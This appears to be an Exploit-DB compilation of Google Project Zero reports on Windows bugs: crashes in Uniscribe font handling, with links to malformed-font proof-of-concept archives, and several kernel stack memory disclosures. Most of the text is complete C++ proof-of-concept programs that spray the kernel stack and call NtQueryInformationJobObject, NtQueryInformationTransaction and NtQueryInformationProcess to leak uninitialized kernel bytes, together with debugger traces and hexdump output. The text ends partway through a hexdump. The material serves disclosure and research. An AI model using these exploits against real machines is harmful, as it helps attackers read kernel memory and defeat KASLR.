760a17b4 LPK!LpkDrawTextEx+0x00000040
77df56a9 USER32!DT_DrawStr+0x0000013c
77df5a64 USER32!DT_GetLineBreak+0x00000078
77df580f USER32!DrawTextExWorker+0x00000250
77df5882 USER32!DrawTextExW+0x0000001e
77df5b68 USER32!DrawTextW+0x0000004d
[...]
---
The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached are 3 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42235.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1198
We have encountered a crash in the Windows Uniscribe user-mode library, in the memmove() function called by USP10!MergeLigRecords, while trying to display text using a corrupted font file:
---
(4e0.6dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000036 ecx=000023af edx=00000003 esi=03624337 edi=0362436d
eip=76e1026a esp=003cefd8 ebp=003cefe0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
msvcrt!memmove+0x224:
76e1026a 8a4603 mov al,byte ptr [esi+3] ds:0023:0362433a=??
0:000> kb
# ChildEBP RetAddr Args to Child
00 003cefe0 774c772d 03621fc1 03621f8b 000023b0 msvcrt!memmove+0x224
01 003ceffc 774c75c3 03615fd0 036159d0 003cf098 USP10!MergeLigRecords+0x3d
02 003cf05c 774c7124 0000001a 035b3d88 035bffa8 USP10!LoadTTOArabicShapeTables+0x3f3
03 003cf070 774cc734 2e0105bd 035b3d88 035a6124 USP10!LoadArabicShapeTables+0xd4
04 003cf08c 774ba5a0 2e0105bd 036157d0 0000001a USP10!ArabicLoadTbl+0xd4
05 003cf0b4 774ba692 035a6124 2e0105bd 0000001a USP10!UpdateCache+0xb0
06 003cf0c8 774c15fd 2e0105bd 035a6000 774c16ab USP10!ScriptCheckCache+0x62
07 003cf0d4 774c16ab 00000001 00000001 00000000 USP10!GetShapeFunction+0xd
08 003cf10c 774c2bd4 00000001 00000004 003cf18c USP10!RenderItemNoFallback+0x5b
09 003cf138 774c2e62 00000001 00000004 003cf18c USP10!RenderItemWithFallback+0x104
0a 003cf15c 774c43f9 00000004 003cf18c 035a6124 USP10!RenderItem+0x22
0b 003cf1a0 774b7a04 000004a0 00000400 2e0105bd USP10!ScriptStringAnalyzeGlyphs+0x1e9
0c 003cf1b8 760a1736 2e0105bd 035a6040 0000000a USP10!ScriptStringAnalyse+0x284
0d 003cf204 760a18c1 2e0105bd 003cf688 0000000a LPK!LpkStringAnalyse+0xe5
0e 003cf300 760a17b4 2e0105bd 00000000 00000000 LPK!LpkCharsetDraw+0x332
0f 003cf334 77df56a9 2e0105bd 00000000 00000000 LPK!LpkDrawTextEx+0x40
10 003cf374 77df5a64 2e0105bd 00000048 00000000 USER32!DT_DrawStr+0x13c
11 003cf3c0 77df580f 2e0105bd 003cf688 003cf69c USER32!DT_GetLineBreak+0x78
12 003cf46c 77df5882 2e0105bd 00000000 0000000a USER32!DrawTextExWorker+0x250
13 003cf490 77df5b68 2e0105bd 003cf688 ffffffff USER32!DrawTextExW+0x1e
14 003cf4c4 000e6c3a 2e0105bd 003cf688 ffffffff USER32!DrawTextW+0x4d
[...]
0:000> db poi(ebp+8)
03621fc1 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621fd1 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621fe1 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621ff1 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 d0 d0 d0 d0 ?? ...............?
03622001 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
03622011 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
03622021 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
03622031 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:000> db poi(ebp+c)
03621f8b 00 b5 00 b7 00 b9 00 bb-00 bd 00 bf 00 c3 00 c5 ................
03621f9b 00 c9 00 cb 00 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621fab c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621fbb c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621fcb c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621fdb c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621feb c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621ffb c0 d0 d0 d0 d0 ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? .....???????????
0:000> dd esi
03624337 ???????? ???????? ???????? ????????
03624347 ???????? ???????? ???????? ????????
03624357 ???????? ???????? ???????? ????????
03624367 ???????? ???????? ???????? ????????
03624377 ???????? ???????? ???????? ????????
03624387 ???????? ???????? ???????? ????????
03624397 ???????? ???????? ???????? ????????
036243a7 ???????? ???????? ???????? ????????
0:000> dd edi
0362436d ???????? ???????? ???????? ????????
0362437d ???????? ???????? ???????? ????????
0362438d ???????? ???????? ???????? ????????
0362439d ???????? ???????? ???????? ????????
036243ad ???????? ???????? ???????? ????????
036243bd ???????? ???????? ???????? ????????
036243cd ???????? ???????? ???????? ????????
036243dd ???????? ???????? ???????? ????????
---
The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
It's worth noting that the crash is almost identical to the one reported in Issue #1026 , which was supposedly fixed as CVE-2017-0087 in the MS17-011 bulletin. The number of times we have encountered this crash while fuzzing the patched version of USP10.DLL might suggest that the fix was incomplete (or alternatively, that there is a separate bug which causes a crash in the same code location).
Attached are 6 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42234.zip
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1196
We have discovered that the nt!NtQueryInformationTransaction system call called with the 1 information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10.
The specific name of the 1 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 32 bytes and more is accepted. At the end of that memory area, 6 uninitialized bytes from the kernel stack can be leaked to the client application.
The attached proof-of-concept program (specific to Windows 10 1607 32-bit) demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=1 and the allowed output size. An example output is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 01 00 00 00 00 00 00 00 00 00 41 41 41 41 41 41 ..........AAAAAA
--- cut ---
It is clearly visible here that 6 bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <KtmW32.h>
#include <cstdio>
extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
PVOID BaseAddress,
ULONG NumberOfPages,
PULONG PageFrameNumbers
);
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
__asm{mov eax, ApiNumber};
__asm{lea edx, ApiNumber + 4};
__asm{int 0x2e};
}
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[4096];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
int main() {
// Windows 10 1607 32-bit.
CONST ULONG __NR_NtQueryInformationTransaction = 0x00b3;
// Create an empty transaction.
HANDLE hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
// Spray the kernel stack to get visible results.
SprayKernelStack();
// Trigger the vulnerability and print out the output structure.
BYTE output[32] = { /* zero padding */ };
DWORD ReturnLength;
NTSTATUS st = SystemCall32(__NR_NtQueryInformationTransaction, hTransaction, 1, output, sizeof(output), &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationTransaction failed, %x\n", st);
CloseHandle(hTransaction);
return 1;
}
PrintHex(output, ReturnLength);
// Free resources.
CloseHandle(hTransaction);
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1194
We have discovered that the nt!NtQueryInformationJobObject system call (corresponding to the documented QueryInformationJobObject() API function) called with the 28 information class discloses portions of uninitialized kernel stack memory to user-mode clients.
The specific name of the 28 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on Windows 10 1607 32-bit, an output size of 40 bytes is accepted. At the end of that memory area, 16 uninitialized bytes from the kernel stack are leaked to the client application.
The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=28 and the allowed output size. An example output is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 41 41 41 41 41 41 41 41 ........AAAAAAAA
00000020: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
--- cut ---
It is clearly visible here that 16 bytes copied from ring-0 to ring-3 remained uninitialized. If the stack spraying function call is commented out, raw kernel pointers can be observed in the output.
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
PVOID BaseAddress,
ULONG NumberOfPages,
PULONG PageFrameNumbers
);
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
__asm{mov eax, ApiNumber};
__asm{lea edx, ApiNumber + 4};
__asm{int 0x2e};
}
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[4096];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
int main() {
// Windows 10 1607 32-bit.
CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9;
// Create a job object to operate on.
HANDLE hJob = CreateJobObject(NULL, NULL);
// Spray the kernel stack with a marker value, to get visible results.
SprayKernelStack();
// Trigger the bug in nt!NtQueryInformationJobObject(class 28, output length 40).
DWORD ReturnLength = 0;
BYTE output[40] = { /* zero padding */ };
NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 28, output, sizeof(output), &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationJobObject failed, %x\n", st);
CloseHandle(hJob);
return 1;
}
// Print out the output.
PrintHex(output, ReturnLength);
// Free resources.
CloseHandle(hJob);
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1193
We have discovered that the nt!NtQueryInformationJobObject system call (corresponding to the documented QueryInformationJobObject() API function) called with the 12 information class discloses portions of uninitialized kernel stack memory to user-mode clients.
The specific name of the 12 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on Windows 10 1607 32-bit, output sizes of 48 and 56 bytes are accepted. In both cases, 4 uninitialized kernel stack bytes are leaked at the end of the structure (at offsets of 0x2C or 0x34, respectively).
The attached proof-of-concept program demonstrates both disclosures by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=12 and the allowed output sizes. An example output is as follows:
--- cut ---
Class 12, output length 48:
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
Class 12, output length 56:
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
--- cut ---
It is clearly visible here that in both responses, 4 bytes copied from ring-0 to ring-3 remained uninitialized.
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
PVOID BaseAddress,
ULONG NumberOfPages,
PULONG PageFrameNumbers
);
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
__asm{mov eax, ApiNumber};
__asm{lea edx, ApiNumber + 4};
__asm{int 0x2e};
}
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[4096];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
int main() {
// Windows 10 1607 32-bit.
CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9;
// Create a job object to operate on.
HANDLE hJob = CreateJobObject(NULL, NULL);
// Spray the kernel stack with a marker value, to get visible results.
SprayKernelStack();
// Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 48).
DWORD ReturnLength = 0;
BYTE output[56] = { /* zero padding */ };
NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 48, &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationJobObject#1 failed, %x\n", st);
CloseHandle(hJob);
return 1;
}
// Print out the output.
printf("Class 12, output length 48:\n");
PrintHex(output, ReturnLength);
// Spray the kernel again before invoking the affected system call.
SprayKernelStack();
// Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 56).
ZeroMemory(output, sizeof(output));
st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 56, &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationJobObject#2 failed, %x\n", st);
CloseHandle(hJob);
return 1;
}
// Print the output again.
printf("Class 12, output length 56:\n");
PrintHex(output, ReturnLength);
// Free resources.
CloseHandle(hJob);
return 0;
}
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1191
We have discovered that the win32k!NtGdiMakeFontDir system call discloses large portions of uninitialized kernel stack memory to user-mode clients.
The attached proof of concept code (which is specific to Windows 7 32-bit) works by first filling a large portion of the kernel stack with a controlled marker byte 0x41 ('A') using the nt!NtMapUserPhysicalPages system call, and then invoking the affected win32k!NtGdiMakeFontDir syscall. As a result, we can observe that a number of leftover bytes from the stack are indeed leaked to user-mode via the output structure:
--- cut ---
00000000: 01 00 00 00 00 02 95 00 00 00 57 69 6e 64 6f 77 ..........Window
00000010: 73 21 20 57 69 6e 64 6f 77 73 21 20 57 69 6e 64 s! Windows! Wind
00000020: 6f 77 73 21 00 10 03 01 01 00 00 00 00 00 00 00 ows!............
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 03 40 00 08 48 00 48 00 66 06 .......@..H.H.f.
00000050: 00 00 1b 02 00 00 00 f4 01 00 00 00 00 08 07 e8 ................
00000060: 03 86 02 1f a8 01 02 00 00 00 00 00 00 76 00 00 .............v..
00000070: 00 08 00 00 00 41 77 69 6e 65 5f 74 65 73 74 00 .....Awine_test.
00000080: 77 69 6e 65 5f 74 65 73 74 00 4d 65 64 69 75 6d wine_test.Medium
00000090: 00 41 41 41 41 00 41 41 41 41 41 41 41 41 41 41 .AAAA.AAAAAAAAAA
000000a0: 41 41 41 41 41 41 41 41 41 00 41 41 41 41 41 41 AAAAAAAAA.AAAAAA
000000b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA.
000000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000f0: 41 41 41 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? AAAAAAAAAAA.....
--- cut ---
In order for the PoC program to work, the attached wine_test.ttf font must be present in the current working directory.
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42230.zip
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1190&desc=2
We have discovered that the nt!NtQueryInformationProcess system call called with the ProcessVmCounters information class discloses portions of uninitialized kernel stack memory to user-mode clients, due to output structure alignment holes.
On our test Windows 10 32-bit workstation, an example layout of the output buffer is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 ................
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data can be returned in a VM_COUNTERS_EX2 structure:
--- cut ---
typedef struct _VM_COUNTERS_EX {
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivateUsage;
} VM_COUNTERS_EX;
typedef struct _VM_COUNTERS_EX2 {
VM_COUNTERS_EX CountersEx;
SIZE_T PrivateWorkingSetSize;
ULONGLONG SharedCommitUsage;
} VM_COUNTERS_EX2, *PVM_COUNTERS_EX2;
--- cut ---
If we map the above shadow bytes to the structure definition, it turns out that the uninitialized bytes correspond to the alignment hole between the PrivateWorkingSetSize and SharedCommitUsage fields. The PrivateWorkingSetSize field ends at offset 0x34 of the structure, while SharedCommitUsage must be 8-byte aligned, causing a gap to be introduced at offsets 0x34-0x37, which is not initialized by the kernel prior to being copied back to the client application.
The attached proof of concept code works by first filling a large portion of the kernel stack with a controlled marker byte 0x41 ('A') using the nt!NtMapUserPhysicalPages system call, and then invokes the affected nt!NtQueryInformationProcess syscall. As a result, we can observe that these leftover bytes are indeed leaked to user-mode at offset 0x34 of the output structure:
--- cut ---
00000000: 00 50 a8 00 00 50 a8 00 9b 01 00 00 00 00 19 00 .P...P..........
00000010: 00 00 19 00 48 45 00 00 98 44 00 00 30 0a 00 00 ....HE...D..0...
00000020: 00 05 00 00 00 d0 05 00 00 c0 06 00 00 d0 05 00 ................
00000030: 00 30 02 00[41 41 41 41]00 30 05 00 00 00 00 00 .0..AAAA.0......
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
#define ProcessVmCounters ((PROCESSINFOCLASS)3)
typedef struct _VM_COUNTERS_EX {
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivateUsage;
} VM_COUNTERS_EX;
typedef struct _VM_COUNTERS_EX2 {
VM_COUNTERS_EX CountersEx;
SIZE_T PrivateWorkingSetSize;
ULONGLONG SharedCommitUsage;
} VM_COUNTERS_EX2, *PVM_COUNTERS_EX2;
extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
PVOID BaseAddress,
ULONG NumberOfPages,
PULONG PageFrameNumbers
);
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[4096];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
int main() {
VM_COUNTERS_EX2 counters;
ZeroMemory(&counters, sizeof(counters));
SprayKernelStack();
DWORD ReturnLength;
NTSTATUS st = NtQueryInformationProcess(GetCurrentProcess(), ProcessVmCounters, &counters, sizeof(counters), &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationProcess failed, %x\n", st);
return 1;
}
PrintHex((PBYTE)&counters, ReturnLength);
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1189&desc=2
We have discovered that the nt!NtQueryInformationJobObject system call (corresponding to the documented QueryInformationJobObject() API function) called with the JobObjectExtendedLimitInformation information class discloses portions of uninitialized kernel stack memory to user-mode clients, due to output structure alignment holes.
On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a JOBOBJECT_EXTENDED_LIMIT_INFORMATION structure [1]. If we map the above shadow bytes to the structure definition, it turns out that the uninitialized bytes correspond to the alignment hole between the end of the JOBOBJECT_BASIC_LIMIT_INFORMATION structure and the beginning of the adjacent IO_COUNTERS structure. The length of the former is 0x2C (44), while the latter must be 8-byte aligned, so there is a gap at offsets 0x2C-0x2F, which is not initialized by the kernel.
The vulnerability can be easily demonstrated with a kernel debugger (WinDbg), by setting a breakpoint on nt!NtQueryInformationJobObject, manually filling out the structure memory with a marker byte (0x41), and then observing four of these bytes printed out by the attached proof-of-concept program:
--- cut ---
2: kd> bp nt!NtQueryInformationJobObject
2: kd> g
Breakpoint 0 hit
nt!NtQueryInformationJobObject:
818d5891 6890010000 push 190h
3: kd> p
nt!NtQueryInformationJobObject+0x5:
818d5896 68e0cf6981 push offset nt! ?? ::FNODOBFM::`string'+0x6100 (8169cfe0)
3: kd> p
nt!NtQueryInformationJobObject+0xa:
818d589b e8b8dbdeff call nt!_SEH_prolog4 (816c3458)
3: kd> p
nt!NtQueryInformationJobObject+0xf:
818d58a0 33f6 xor esi,esi
3: kd> f ebp-18c ebp-18c+70-1 41
Filled 0x70 bytes
3: kd> g
--- cut ---
An example output on our test virtual machine is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 20 00 00 00 05 00 00 00 41 41 41 41 .... .......AAAA
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
################################################################################
Upon further investigation of the bug, we have determined the following:
- Not only the JobObjectExtendedLimitInformation (9), but also the JobObjectBasicLimitInformation (2) information class is affected by the vulnerability. The issue is very similar in that it also leaks 4 uninitialized bytes of kernel stack at offset 0x2C of the output structure. Since both classes are handled by the same or very close code areas, we are treating both cases as the same bug.
- Windows 10 (contrary to Windows 7) allows the output buffer for JobObjectExtendedLimitInformation to optionally be 120-bytes long instead of the typical 112. In that case, extra 4 kernel stack bytes are leaked at the end of the structure.
- It is possible to demonstrate the bug without resorting to a kernel debugger, by using the nt!NtMapUserPhysicalPages system call to spray the kernel stack with a large number of controlled bytes, and then invoking the affected nt!NtQueryInformationJobObject syscall directly, instead of through the QueryInformationJobObject() API.
To address all of the above new facts, I'm attaching a new proof-of-concept program, specific to Windows 10 1607 32-bit, which demonstrates the memory disclosure in all three possible settings: JobObjectBasicLimitInformation (output length 48), JobObjectExtendedLimitInformation (output length 112) and JobObjectExtendedLimitInformation (output length 120). An example output of the program is shown below:
--- cut ---
JobObjectBasicLimitInformation:
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 05 00 00 00 41 41 41 41 ............AAAA
JobObjectExtendedLimitInformation (112):
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 05 00 00 00 41 41 41 41 ............AAAA
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
